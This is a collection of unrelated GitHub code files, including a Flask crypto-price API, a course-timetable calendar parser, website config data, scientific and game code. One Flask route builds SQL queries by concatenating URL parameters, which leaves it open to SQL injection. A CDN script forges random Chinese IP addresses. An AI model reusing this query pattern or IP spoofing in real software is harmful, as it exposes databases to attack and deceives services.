camouflage_ip(self): # 暂时只能伪装电信ip,伪装其他地区ip更改106.84.\n return \"106.84.\" + str(random.randint(146, 254)) + \".\" + str(random.randint(1, 254))\n\n\n# 按间距中的绿色按钮以运行脚本。\nif __name__ == '__main__':\n # 只能调用 .renew(),其余为内部方法\n liuyi = LiuYiCdn()\n liuyi.renew()\n","repo_name":"2331892928/61cdn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31853246972","text":"import sqlite3\nfrom flask import Flask\nfrom flask import jsonify\nimport json\n\napp = Flask(__name__)\n\n@app.route(\"/getir\")\ndef getir():\n bag = sqlite3.connect(\"kripto.vt\")\n cursor = bag.cursor()\n sorgu = \"SELECT * FROM parite WHERE \" \\\n \"(otime BETWEEN '2022-02-03' \" \\\n \"AND '2022-02-04') \"\\\n \"AND parite='AVAXUSDT'\"\n cursor.execute(sorgu)\n sonuc = cursor.fetchall()\n bag.close()\n return sonuc\n\n@app.route(\"/saglam_getir///\")\ndef saglam_getir(parite, tarih1, tarih2):\n bag = sqlite3.connect(\"kripto.vt\")\n cursor = bag.cursor()\n sorgu = \"SELECT * FROM parite WHERE \" \\\n \"(otime BETWEEN '\"+tarih1+\"' \" \\\n \"AND '\"+tarih2+\"') \"\\\n \"AND parite='\"+parite+\"'\"\n cursor.execute(sorgu)\n sonuc = cursor.fetchall()\n bag.close()\n return json.dumps(sonuc)\n\nif __name__ == \"__main__\":\n app.run(debug=True, host=\"localhost\", port=22222)\n\n\n\n","repo_name":"huseyingunes/python_programlama","sub_path":"8. Ders/2_kripto_api.py","file_name":"2_kripto_api.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"75"} +{"seq_id":"12206207745","text":"import calendar\nimport logging\nimport datetime\nfrom icalendar import Calendar, Event, Alarm\n\n\nclass CurriculumParser:\n TIME_TABLE = {\n \"1\": datetime.timedelta(hours=8, minutes=15),\n \"2\": datetime.timedelta(hours=9, minutes=10),\n \"3\": datetime.timedelta(hours=10, minutes=15),\n \"4\": datetime.timedelta(hours=11, minutes=10),\n \"5\": datetime.timedelta(hours=13, minutes=50),\n \"6\": datetime.timedelta(hours=14, minutes=45),\n \"7\": datetime.timedelta(hours=15, minutes=40),\n \"8\": datetime.timedelta(hours=16, minutes=45),\n \"9\": datetime.timedelta(hours=17, minutes=40),\n \"10\": datetime.timedelta(hours=19, minutes=20),\n \"11\": datetime.timedelta(hours=20, minutes=15),\n \"12\": datetime.timedelta(hours=21, minutes=10)\n }\n\n def __init__(self, provider, first_day):\n self.provider = provider\n self.stDate = self.setStDate(first_day)\n\n def setStDate(self, first_day):\n stDate = first_day\n stWeekday = calendar.weekday(stDate.year, stDate.month, stDate.day)\n if stWeekday != 0:\n stDate += datetime.timedelta(6-stWeekday)\n return stDate\n\n def getClassList(self):\n logging.info('正在获取课程清单...')\n r = self.session.get(self.CLASS_SCHEDULE_URL)\n return r.json()\n\n def getClassInterval(self, str):\n str = str.strip(\"0\")\n zero_count = str.count(\"0\")\n one_count = str.count(\"1\")\n return 1 if one_count == 1 else 1+zero_count//(one_count-1)\n\n def getClassTime(self, classmark):\n return self.TIME_TABLE.get(classmark)\n\n def getEndWeek(self, str):\n return str.rfind(\"1\")+1\n\n def getStartWeek(self, str):\n return str.find(\"1\")+1\n\n def getClassCount(self, str):\n return str.count(\"1\")\n\n def dict2Event(self, item):\n event = Event()\n\n event.add('summary', item['coureName'])\n event.add('location', item['campusName'] +\n item['teachingBuildingName']+item['classroomName'])\n event.add('dtstart', self.stDate + datetime.timedelta((self.getStartWeek(\n item['classWeek'])-1)*7 + int(item['classDay'])) + self.getClassTime(str(item['classSessions'])))\n event.add('dtend', self.stDate + datetime.timedelta((self.getStartWeek(item['classWeek'])-1)*7 + int(\n item['classDay'])) + self.getClassTime(\n str(int(item['classSessions'])+int(item['continuingSession'])-1))+datetime.timedelta(minutes=45))\n interval = self.getClassInterval(item['classWeek'])\n event.add('description', '课程号: ' +\n item['coureNumber']+'\\n课序号: '+item['coureSequenceNumber'])\n alarm = Alarm()\n alarm.add('action', 'DISPLAY')\n alarm.add('TRIGGER', datetime.timedelta(minutes=-15))\n event.add_component(alarm)\n if interval >= 0:\n event.add('rrule', {\n 'freq': 'weekly', 'interval': interval,\n 'count': self.getClassCount(item['classWeek'])\n })\n return event\n\n def phase(self):\n logging.info('正在创建日历...')\n classList = self.provider.getClassList()\n cal = Calendar()\n cal['version'] = '2.0'\n if self.stDate.month >= 7:\n cal['X-WR-CALNAME'] = str(self.stDate.year)+'年秋季课表'\n else:\n cal['X-WR-CALNAME'] = str(self.stDate.year)+'年春季课表'\n for course in classList['dateList'][0]['selectCourseList']:\n if(course['timeAndPlaceList'] is None):\n continue\n for item in course['timeAndPlaceList']:\n tempEvent = self.dict2Event(item)\n tempEvent['description'] += '\\n教师: ' + \\\n course['attendClassTeacher']\n cal.add_component(tempEvent)\n logging.info('日历创建已完成...')\n return cal\n","repo_name":"KXXH/SCU_JWC_toolkit","sub_path":"scu_jwc_toolkit/parser/curriculumParser.py","file_name":"curriculumParser.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10640907653","text":"meta = {\n \"title\" : \"website\",\n \"author\" : \"ben eaves\",\n \"description\" : \"add description here\",\n \"url\" : \"\",\n \"iconpath\" : \"\",\n \"keywords\" : \"\",\n\t\"staticCss\" : \"static/css/\",\n\t\"staticJs\" : \"static/js/\",\n\t\"staticImg\" : \"static/img/\",\n\t\"year\":\"2016\"\n\t\n}\n\nnavigation = [\n {\n \"name\" : \"Home\",\n \"link\" : \"#header\",\n\t\t\"status\" : \"current\",\n },\n {\n \"name\" : \"Services\",\n \"link\" : \"#section-services\",\n },\n\t{\n \"name\" : \"Reviews\",\n \"link\" : \"#section-reviews\",\n },\n\t{\n \"name\" : \"Team\",\n \"link\" : \"#section-about\",\n },\n\t{\n \"name\" : \"Portfolio\",\n \"link\" : \"#section-works\",\n },\n {\n \"name\" : \"Contact\",\n \"link\" : \"#section-contact\"\n },\n\t{\n \"name\" : \"location\",\n \"link\" : \"#section-map\",\n }\n]\n\nservice = [\n {\n \"delay\" : \".2s\",\n \"icon\" : \"code\",\n\t\t\"info\" : \"add info here\",\n },\n {\n \"delay\" : \".6s\",\n \"icon\" : \"terminal\",\n\t\t\"info\" : \"add info here\",\n },\n\t{\n \"delay\" : \".1s\",\n \"icon\" : \"bolt\",\n\t\t\"info\" : \"add info here\",\n }\n]\n\ngallery = [\n {\n \"info\" : \"\",\n\t\t\"img\" : \"static/img/demo.png\",\n\t\t\"link\":\"#\",\n\t\t\"name\":\"\",\n\t\t\"email\":\"\",\n\t\t\"slide\":\"1\"\n },\n {\n \"info\" : \"\",\n\t\t\"img\" : \"static/img/demo.png\",\n\t\t\"link\":\"#\",\n\t\t\"name\":\"\",\n\t\t\"email\":\"\",\n\t\t\"slide\":\"2\"\n },\n\t{\n \"info\" : \"\",\n\t\t\"img\" : \"static/img/demo.png\",\n\t\t\"link\":\"#\",\n\t\t\"name\":\"\",\n\t\t\"email\":\"\",\n\t\t\"slide\":\"3\"\n },\n\t{\n \"info\" : \"\",\n\t\t\"img\" : \"static/img/demo.png\",\n\t\t\"link\":\"#\",\n\t\t\"name\":\"\",\n\t\t\"email\":\"\",\n\t\t\"slide\":\"4\"\n }\n]\n\nclogo = [\n {\n \"href\" : \"#!\",\n \"img\" : \"cliogo.png\",\n },\n\t {\n \"href\" : \"#!\",\n \"img\" : \"cliogo.png\",\n },\n\t{\n \"href\" : \"#!\",\n \"img\" : \"cliogo.png\",\n },\n\t {\n \"href\" : \"#\",\n \"img\" : \"cliogo.png\",\n },\n\t{\n \"href\" : \"#!\",\n \"img\" : \"cliogo.png\",\n }\n]\n\nteam = [\n {\n\t\t\"delay\" : \".2s\",\n \"img\" : \"avatar.jpg\",\n\t\t\"name\" : \"\",\n \"title\" : \"\",\n\t\t\"about\" : \"\",\n },\n\t{\n\t\t\"delay\" : \".4s\",\n \"img\" : \"avatar.jpg\",\n\t\t\"name\" : \"\",\n \"title\" : \"\",\n\t\t\"about\" : \"\",\n },\n\t{\n\t\t\"delay\" : \".6s\",\n \"img\" : \"avatar.jpg\",\n\t\t\"name\" : \"\",\n \"title\" : \"\",\n\t\t\"about\" : \"\",\n },\n\t{\n\t\t\"delay\" : \".8s\",\n \"img\" : \"avatar.jpg\",\n\t\t\"name\" : \"\",\n \"title\" : \"\",\n\t\t\"about\" : \"\",\n },\n]\n\nfilter = [\n {\n\t\t\"class\" : \"current\",\n \"name\" : \"All\",\n \"filter\" : \"*\",\n },\n\t{\n \"name\" : \"Webdesign\",\n \"filter\" : \".webdesign\",\n },\n\t{\n \"name\" : \"Photography\",\n \"filter\" : \".photography\",\n },\n\t{\n \"name\" : \"Print\",\n \"filter\" : \".print\",\n },\n \n]\n\nportfolio = [\n {\n \"duration\" : \".2s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"webdesign\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".4s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"photography\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".6s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"print\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".2s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"webdesign\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".4s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"photography\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".6s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"print\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".2s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"webdesign\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".4s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"photography\",\n\t\t\"name\":\"\",\n },\n\t{\n \"duration\" : \".6s\",\n\t\t\"img\" : \"portfolio/img1.jpg\",\n\t\t\"category\":\"print\",\n\t\t\"name\":\"\",\n }\n]\n\ncarousel = [\n {\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n },\n\t{\n \"class\" : \"carousel-cell\"\n }\n]\n\nfooterIcons = [\n {\n\t\t\"href\" : \"#\",\n \"class\" : \"icoRss\",\n \"title\" : \"Rss\",\n\t\t\"icon\" : \"rss\",\n },\n\t{\n\t\t\"href\" : \"#\",\n \"class\" : \"icoFacebook\",\n \"title\" : \"Facebook\",\n\t\t\"icon\" : \"facebook\",\n },\n\t{\n\t\t\"href\" : \"#\",\n \"class\" : \"icoTwitter\",\n \"title\" : \"Twitter\",\n\t\t\"icon\" : \"twitter\",\n },\n\t{\n\t\t\"href\" : \"#\",\n \"class\" : \"icoGoogle\",\n \"title\" : \"Google +\",\n\t\t\"icon\" : \"google-plus\",\n },\n\t{\n\t\t\"href\" : \"#\",\n \"class\" : \"icoLinkedin\",\n \"title\" : \"Linkedin\",\n\t\t\"icon\" : \"linkedin\",\n }\n]\n\ncontact = {\n \"name\" : \"Your Name\",\n \"email\" : \"Your Email\",\n \"subject\" : \"Your Subject\",\n \"message\" : \"Your Message\",\n \"send\" : \"SEND MESSAGE\"\n}\n\n\nheadings = {\n \"about\" : \"who we are\",\n \"review\" : \"Some of our reviews\",\n \"team\" : \"our team members\",\n \"portfolio\" : \"our portfolio\",\n \"contact\" : \"contact us\",\n \"location\" : \"our location\"\n}\n\nlorem = {\n \"title\" : \"Add Title Here\",\n \"name\" : \"Add Name Here\",\n\t\"email\" : \"admin@admin.com\",\n \"description\" : \"add description here\",\n \"category\" : \"Add category Here\",\n \"lorem\" : \"Integer nec odio\",\n \"lorem2\" : \"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi.\",\n\t\"lorem3\" : \"Fapibus non interdum quis, suscipit nec dolor. Vivamus tempor tempus mauris vitae fermentum. In vitae nulla lacus. Sed sagittis tortor vel arcu sollicitudin nec tincidunt metus suscipit.Nunc velit risus, dapibus non interdum.\"\t\n}","repo_name":"angeal185/python-website-created-with-flask-and-jinja","sub_path":"info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36353108406","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 27 14:19:35 2018\n\nTest suite for run_tdmcmc.py script.\nChecks the outputs of run_tdmcmc for known inputs.\nOnly checks the non-random components of the post_mcmc netcdf file\n\nTo run this test suite only from within the tests/ directory use the syntax\n>> pytest test_run_tdmcmc.py\n\nSome tests have an additional decorator:\n @pytest.mark.long\nwhich marks these tests as being part of a 'long' group of tests which can be excluded.\n\nTo run all tests except those labelled 'long' use the syntax\n>> pytest test_tdmcmc_inputs.py -m 'not long'\n\n@author: ag12733\n\"\"\"\n\nimport pytest\nimport os\nimport subprocess\nimport xarray\nimport numpy as np\n\nfrom acrg.config.paths import Paths\nacrg_path = Paths.acrg\n\ntdmcmc_path = os.path.join(acrg_path, \"acrg/tdmcmc\")\ntest_param_path = os.path.join(acrg_path, \"tests/files/tdmcmc/\")\n\n@pytest.fixture(scope=\"module\")\ndef tdmcmc_input_file():\n ''' Define tdmcmc inputs python script '''\n filename = os.path.join(tdmcmc_path,'tdmcmc_inputs.py')\n return filename\n\n@pytest.fixture(scope=\"module\")\ndef tdmcmc_param_file():\n ''' Define tdmcmc param file input to run tdmcmc code '''\n filename = os.path.join(test_param_path,'param.ini')\n return filename\n\n@pytest.fixture(scope=\"module\")\ndef run_tdmcmc_benchmark_file():\n ''' Define benchmark post_mcmc.nc file '''\n filename = os.path.join(acrg_path,'tests/files/tdmcmc/output/output_AGAGE_ch4_2014-02-01_benchmark.nc')\n return filename\n\n@pytest.fixture(scope=\"module\")\ndef run_tdmcmc_output_file():\n ''' Define generated post_mcmc.nc file '''\n filename = os.path.join(acrg_path,'tests/files/output/output_AGAGE_ch4_2014-02-01.nc')\n return filename\n\n@pytest.mark.skip(reason=\"Comparison no longer valid. Suspect that a new benchmark file with updated obs is needed.\")\ndef test_run_tdmcmc_outputs(tdmcmc_input_file, tdmcmc_param_file, run_tdmcmc_benchmark_file, run_tdmcmc_output_file):\n ''' Checks the netcdf output of run_tdmcmc.py matches a benchmarked output_AGAGE_ch4_2014-02-01_benchmark.nc file '''\n \n with xarray.open_dataset(run_tdmcmc_benchmark_file) as temp:\n post_mcmc_benchmark = temp.load()\n \n result = subprocess.call([\"python\",tdmcmc_input_file,\"-c{}\".format(tdmcmc_param_file)])\n \n #first check run didn't fail:\n assert result == 0\n \n with xarray.open_dataset(run_tdmcmc_output_file) as temp:\n post_mcmc = temp.load()\n \n #assert np.array_equal(post_mcmc[\"h_v_all\"], post_mcmc_benchmark[\"h_v_all\"])\n assert np.isclose(post_mcmc[\"h_v_all\"], post_mcmc_benchmark[\"h_v_all\"]) # account for floating point differences\n assert np.array_equal(post_mcmc[\"y\"], post_mcmc_benchmark[\"y\"])\n assert np.array_equal(post_mcmc[\"sigma_measure\"], post_mcmc_benchmark[\"sigma_measure\"]) \n assert np.array_equal(post_mcmc[\"R_indices\"], post_mcmc_benchmark[\"R_indices\"])\n \n os.remove(run_tdmcmc_output_file)\n","repo_name":"ACRG-Bristol/acrg","sub_path":"tests/test_tdmcmc_run.py","file_name":"test_tdmcmc_run.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"70487150002","text":"import random\n\ndef calcBayes(priorA, probBifA, probB):\n \"\"\"We have a belief that an outcome A has a probability of P(A).\n B is a new evidence of A. We need to correct our initial belief\n concerning A, considering B.\n \n priorA: P(A) initial est. of probability of A independent of B\n probBifA: P(B|A) est. of probability of B given A\n probB: P(B) est. of probability of B\n \n Return P(A|B) probability of A given B\"\"\"\n return priorA*probBifA/probB\n\n## Let's assume we have three dies A, B and C that have probabilities to roll \"6\"\n## 1/5, 1/6 and 1/7 respectively. We randomly pick one die and start rolling it,\n## trying to determine the probability of it being of type A.\n\npriorA = 1/3 # hypothesis: we picked A with priorA certainty\nprob6ifA = 1/5 # chance to roll \"6\" given A was picked\nprob6 = (1/5 + 1/6 + 1/7)/3 # marginal probability to roll \"6\", independent of hypotheses\n\n## suppose we really picked die C\nprob6_this_pick = 1/7\n\n## The hypothesis is that we picked A with priorA certainty.\n## Let's roll A and revise the propability that our hypothesis is true.\nnumRolls = 500\npostA = priorA\n\nfor i in range(numRolls + 1):\n if i%(numRolls//10) == 0: # report estimate of P(A)\n print('After', i, 'rolls. P(A) =', round(postA, 4))\n isSix = random.random() <= prob6_this_pick\n if isSix:\n postA = calcBayes(postA, prob6ifA, prob6)\n else:\n postA = calcBayes(postA, 1 - prob6ifA, 1 - prob6)\n","repo_name":"alexbaryzhikov/codebase-archive","sub_path":"Python/probability/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"22855942026","text":"from django.db import models\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\nclass Product(models.Model):\n owner = models.ForeignKey(User, related_name='owned_products', on_delete=models.CASCADE)\n name = models.CharField(max_length=200)\n\nclass Lesson(models.Model):\n products = models.ManyToManyField(Product, related_name='lessons')\n title = models.CharField(max_length=200)\n video_link = models.URLField()\n duration = models.PositiveIntegerField()\n\nclass ProductAccess(models.Model):\n user = models.ForeignKey(User, related_name='product_accesses', on_delete=models.CASCADE)\n product = models.ForeignKey(Product, related_name='accesses', on_delete=models.CASCADE)\n\nclass LessonView(models.Model):\n user = models.ForeignKey(User, related_name='lesson_views', on_delete=models.CASCADE)\n lesson = models.ForeignKey(Lesson, related_name='views', on_delete=models.CASCADE)\n view_duration = models.PositiveIntegerField()\n STATUS_CHOICES = [('WATCHED', 'Watched'), ('UNWATCHED', 'Unwatched')]\n status = models.CharField(max_length=10, choices=STATUS_CHOICES)\n\n","repo_name":"Arturhockey21/django_test","sub_path":"myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26661735120","text":"#===============================================================================\n# import math\n# import re\n# print (int(math.fmod(43,45)))\n# print (22/3)\n# w = \"Hello World\"\n# print (w[-1])\n# \n# print(\"Yes\") if '26-03-2017' > '29-12-2016' else print(\"No\")\n# \n# st = \"asd_fd\"\n# \n# print(\"Valid\") if re.match(\"^[a-zA-Z.0-9_-]*$\",st ) else print(\"Not valid\")\n# print(\"Valid\") if re.match(\"^[a-zA-Z0-9]*$\", st[-1]) else print(\"Not valid\")\n# \n# list1 = [\"mon\",\"tue\",\"wed\",\"thu\",\"fri\",\"sat\"]\n# tuple1 = tuple(list1)\n# \n# print(list1.count(\"n\"))\n# print(tuple1.count(\"n\"))\n#===============================================================================\n\n#import datetime\n\n#print(datetime.datetime.strptime(\"25-12-2018\",\"%d-%m-%Y\"))\n\n\nopenList = [\"[\",\"{\",\"(\"]\ncloseList = [\"]\",\"}\",\")\"]\ndef balance(myStr):\n stack= []\n for i in myStr:\n if i in openList:\n stack.append(i)\n print(stack)\n# if i in openList and i == \"{\":\n# return False\n# break\n elif i in closeList:\n pos = closeList.index(i)\n if ((len(stack) > 0) and (openList[pos] == stack[len(stack)-1])):\n stack.pop()\n else:\n return False\n \n if len(stack) == 0:\n return True\n \nstr_input = str(input())\ntest_balance = balance(str_input)\nif test_balance:\n print(\"Valid\")\nelse:\n print (\"Invalid\")\n","repo_name":"KishorP6/PySample","sub_path":"hello world.py","file_name":"hello world.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41218183300","text":"\"\"\"\nI need to make get_all mpi safe\nsplit the data according to pixel index\nneed a new build_atlas_distortions for sub pixel regions\n\"\"\"\n\n#! /usr/bin/env python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n# make an example cxi file\n# with a small sample and small aberations\n\nimport sys, os\nbase = os.path.join(os.path.dirname(__file__), '..')\nroot = os.path.abspath(base)\nsys.path.insert(0, os.path.join(root, 'utils'))\n\n#import pyximport; pyximport.install()\nimport feature_matching as fm\nimport cmdline_config_cxi_reader\nfrom mpiarray import MpiArray\nfrom mpiarray import MpiArray_from_h5\n\nimport math\nimport numpy as np\nimport h5py\nfrom scipy.ndimage.filters import gaussian_filter\nimport itertools\n\nfrom mpi4py import MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\ndef get_input():\n args, params = cmdline_config_cxi_reader.get_all('update_pixel_map', \n 'update the pixel shifts according to a least squares minimisation procedure',\n exclude=['frames', 'whitefield', 'mask'])\n params = params['update_pixel_map']\n \n # split by ss pixels \n ####################\n \n # special treatment for frames\n roi = params['roi']\n roi = (params['good_frames'], slice(roi[0],roi[1]), slice(roi[2],roi[3]))\n \n # easy for the mask\n params['frames'] = MpiArray_from_h5(args.filename, params['frames'], axis=1, roi=roi, dtype=np.float64)\n params['mask'] = MpiArray_from_h5(args.filename, params['mask'] , axis=0, roi=roi[1:], dtype=np.bool)\n \n with h5py.File(args.filename, 'r') as f:\n shape = f[params['whitefield']].shape\n if len(shape) == 2 :\n params['whitefield'] = MpiArray_from_h5(args.filename, params['whitefield'], axis=0, roi=roi[1:], dtype=np.float64)\n params['whitefield'].arr[~params['mask'].arr] = -1 \n else :\n params['whitefield'] = MpiArray_from_h5(args.filename, params['whitefield'], axis=1, roi=roi, dtype=np.float64)\n for i in range(params['whitefield'].arr.shape[0]):\n params['whitefield'].arr[i][~params['mask'].arr] = -1\n \n # set masked pixels to negative 1\n for i in range(params['frames'].arr.shape[0]):\n params['frames'].arr[i][~params['mask'].arr] = -1\n\n # offset positions\n if params['pixel_shifts'] is not None :\n params['R_ss_fs'] += fm.steps_offset(params['R_ss_fs'], params['pixel_shifts'])\n\n # special treatment for the pixel_shifts\n if params['pixel_shifts'] is None and rank == 0 :\n params['pixel_shifts'] = np.zeros((2,) + params['whitefield'].shape[-2:], dtype=np.float64)\n \n if rank != 0 :\n params['pixel_shifts'] = None\n \n params['pixel_shifts'] = MpiArray(params['pixel_shifts'])\n params['pixel_shifts'].scatter(axis=1)\n \n return args, params\n\ndef grid_search_ss_split(atlas, I, W, R, u, bounds=[-20, 20]):\n ss_offset = W.distribution.offsets[rank] \n print('rank, W.shape, offset:', rank, W.shape, W.arr.shape, ss_offset, W.distribution.offsets[rank])\n \n def fun(ui, uj, i, j, w): \n ss = np.rint(-R[:,0] + ui + i + ss_offset).astype(np.int)\n fs = np.rint(-R[:,1] + uj + j).astype(np.int)\n m = (ss>0)*(ss0)*(fs0) * (w[m, i, j] > 0)\n n = np.sum(m1)\n if n > 0 :\n #err = np.sum(m1*(forw - I.arr[m, i, j]/w[m, i, j])**2 ) / n\n err = np.sum(m1*(forw*w[m, i, j] - I.arr[m, i, j])**2 ) / n\n else :\n err = 1e100\n return err\n \n # define the search window\n k = np.arange(int(bounds[0]), int(bounds[1])+1, 1)\n k, l = np.meshgrid(k, k, indexing='ij')\n kls = np.vstack((k.ravel(), l.ravel())).T\n \n # define the pupil idices\n ss = np.arange(W.arr.shape[-2])\n fs = np.arange(W.arr.shape[-1])\n\n if len(W.arr.shape) == 2 :\n w = np.array([W.arr for i in range(I.shape[0])])\n else :\n w = W.arr\n \n ss_min = comm.allreduce(np.max(ss), op=MPI.MIN)\n errs = np.empty((len(kls),), dtype=np.float64)\n u_out = MpiArray(u.arr, axis=1)\n for i in ss :\n print(rank, i, i+ss_offset) ; sys.stdout.flush()\n for j in fs :\n errs.fill(1e100)\n for k, kl in enumerate(kls) :\n if np.any(w[:, i, j]) > 0 :\n errs[k] = fun(u.arr[0, i, j] + kl[0], u.arr[1, i, j] + kl[1], i, j, w)\n \n k = np.argmin(errs) \n u_out.arr[:, i, j] += kls[k]\n \n # output every 10 ss pixels\n if i % 1 == 0 and i <= ss_min and callback is not None :\n ug = u_out.gather()\n callback(ug)\n\n return u_out\n\ndef grid_search_ss_split_sub_pix(atlas, I, W, R, u, bounds=[-1, 1], max_iters = 100):\n ss_offset = W.distribution.offsets[rank] \n \n def fun(x, i = 0, j = 0, w = 0, uu = 0):\n forw = np.empty((R.shape[0],), dtype=np.float)\n fm.sub_pixel_atlas_eval(atlas, forw, -R[:,0] + x[0] + uu[0] + i + ss_offset\n , -R[:,1] + x[1] + uu[1] + j)\n \n m = (forw>0) * (w > 0)\n n = np.sum(m)\n if n > 0 :\n err = np.sum((forw[m]*w[m] - I.arr[m, i, j])**2 ) / n\n else :\n err = -1\n return err\n\n if len(W.arr.shape) == 2 :\n w = np.array([W.arr for i in range(I.shape[0])])\n else :\n w = W.arr\n \n # define the pupil idices\n ss = np.arange(W.arr.shape[-2])\n fs = np.arange(W.arr.shape[-1])\n \n ss_min = comm.allreduce(np.max(ss), op=MPI.MIN)\n u_out = MpiArray(u.arr, axis=1)\n for i in ss :\n for j in fs :\n x0 = np.array([0., 0.])\n err0 = fun(x0, i, j, w[:, i, j], u.arr[:, i, j])\n options = {'maxiter' : max_iters, 'eps' : 0.1, 'xatol': 0.1}\n from scipy.optimize import minimize\n res = minimize(fun, x0, bounds = [bounds, bounds], \n args = (i, j, w[:, i, j], u.arr[:, i, j]),\n options = {'maxiter' : max_iters, 'eps' : 0.1, 'xatol': 0.1})\n if rank == 0 and j==fs[fs.shape[0]//2]: print(err0, res); sys.stdout.flush()\n if res.fun > 0 :\n u_out.arr[:, i, j] += res.x\n \n # output every 10 ss pixels\n if i % 1 == 0 and i <= ss_min and callback is not None :\n ug = u_out.gather()\n callback(ug)\n \n return u_out\n\nif __name__ == '__main__':\n args, params = get_input()\n \n # provide real time feedback\n def callback(u):\n if rank == 0 :\n out = {'pixel_shifts' : u}\n cmdline_config_cxi_reader.write_all(params, args.filename, out)\n print('display: '+params['h5_group']+'/pixel_shifts') ; sys.stdout.flush()\n \n if params['max_step']>1 :\n params['pixel_shifts'] = grid_search_ss_split(params['atlas'], params['frames'], params['whitefield'], \n params['R_ss_fs'], params['pixel_shifts'], \n bounds=[-params['max_step'], params['max_step']])\n if params['sub_pixel'] is True :\n params['pixel_shifts'] = grid_search_ss_split_sub_pix(params['atlas'], params['frames'], \n params['whitefield'], params['R_ss_fs'], \n params['pixel_shifts'], bounds=[-1.0, 1.0])\n #bounds=[-params['max_step'], params['max_step']])\n u = params['pixel_shifts'].gather()\n callback(u)\n","repo_name":"doraduan12/Speckle_Tracking_Sigray","sub_path":"process/update_pixel_map.py","file_name":"update_pixel_map.py","file_ext":"py","file_size_in_byte":7717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72201304881","text":"from .object import Object\nfrom pygame import Vector2\nimport math\nimport random\n\n\nclass Flask(Object):\n name = 'flask'\n type = 'flask'\n size = (48, 48)\n\n def __init__(self, game, room, position=None):\n Object.__init__(self, game, self.name, self.type, self.size, room, position)\n self.dropped = False\n self.bounce = None\n\n def activate_bounce(self):\n self.bounce = Bounce(self.rect.x, self.rect.y, self.rect.y + 20)\n\n def interact(self):\n self.interaction = False\n self.show_name.reset_line_length()\n self.image = self.original_image\n self.apply_effect()\n self.game.sound_manager.play_get_item_sound()\n\n def draw(self):\n surface = self.room.tile_map.map_surface\n surface.blit(self.image, (self.rect.x, self.rect.y))\n if self.interaction:\n self.show_name.draw(surface, self.rect)\n self.show_price.draw(surface)\n self.show_price.update()\n self.draw_shadow(surface, -1)\n\n def apply_effect(self):\n pass\n\n def update(self):\n self.hovering.hovering()\n self.update_bounce()\n self.update_hitbox()\n if self in self.game.player.items:\n self.bounce.reset()\n self.rect.bottomright = self.game.player.hitbox.topleft\n\n\nclass GreenFlask(Flask):\n name = 'green_flask'\n type = 'flask'\n size = (48, 48)\n\n def __init__(self, game, room, position=None):\n Object.__init__(self, game, self.name, self.type, self.size, room, position)\n self.dropped = False\n self.bounce = None\n self.value = 100\n\n def apply_effect(self):\n # if self.game.player.hp == self.game.player.max_hp:\n # return\n if self.game.player.hp <= self.game.player.max_hp - 20:\n self.game.player.hp += 20\n else:\n self.game.player.hp = self.game.player.max_hp\n if self.room == self.game.world_manager.current_room:\n self.room.objects.remove(self)\n\n\nclass RedFlask(Flask):\n name = 'red_flask'\n type = 'flask'\n size = (48, 48)\n\n def __init__(self, game, room, position=None):\n Object.__init__(self, game, self.name, self.type, self.size, room, position)\n self.dropped = False\n self.bounce = None\n self.value = 400\n\n\n def apply_effect(self):\n self.game.player.hp += 20\n self.game.player.max_hp += 20\n if self.room == self.game.world_manager.current_room:\n self.room.objects.remove(self)\n\n\nclass 